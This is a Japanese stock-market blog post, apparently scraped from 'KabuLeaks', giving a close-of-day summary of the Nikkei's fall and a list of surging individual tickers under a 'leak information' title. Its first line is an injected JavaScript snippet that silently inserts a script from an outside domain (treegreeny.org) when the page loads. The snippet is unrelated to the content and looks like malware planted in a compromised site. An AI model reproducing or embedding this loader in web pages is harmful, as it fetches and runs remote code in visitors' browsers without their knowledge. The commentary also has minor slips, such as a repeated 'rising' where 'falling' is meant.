;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【3/8 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【3/8 大引け】

本日の日経平均株価は128円安と大幅続落。前場は為替相場の円高、中国・上海総合指数の下落など嫌気され一時300円超の大幅続落。ただ、後場は前場嫌気された為替相場の円高の一服、中国・上海総合指数も下げ渋ったことから下げ幅を縮小。手掛かり材料難からさすがにプラス転換とはならなかった。業種別では、値上がりは不動産業と繊維製品の2業種のみ。値上がりは、非鉄金属、電気・ガス業などが上位に並んだ。

個別では、インフォサイエンスとの協業により主力製品の新機能提供を開始と報じられた【3920】アイビーシーやFX取引活発の思惑が続き【3747】インタートレード、金融機関向けシステムで特許取得の【3744】サイオステクノロジーなどがストップ高。また、増配発表の【6444】サンデンHD。リニア関連の【6397】郷鉄工所、【6380】オリエンタルチエンなどの急伸も目立った。

人気のテーマ株からはLINE関連が前日の流れを引き継ぎ【2489】アドウェイズ、【3815】メディア工房、【3622】ネットイヤーなどが大幅上昇。仮想通貨関連のド本命。増坦規制が強化された【8732】マネパはこれをモノとせずストップ高まで上昇し、依然強い人気を誇っている。また、ドローン関連も既に書いたが→https://kabuleaks.com/archives/5572 など賑わった。

今日の売りは10日のECB理事会や週末のSQを睨んでの仕掛け的な売りか。ある程度方向感に欠ける展開は想定していたが今日の大幅安は底が堅いと思っていただけにやや想定外。引けにかけ下げ渋ったものの、買い手掛かり材料は明日も乏しく、引き続き為替動向や中国・上海総合指数を睨みながらの展開となりそうだ。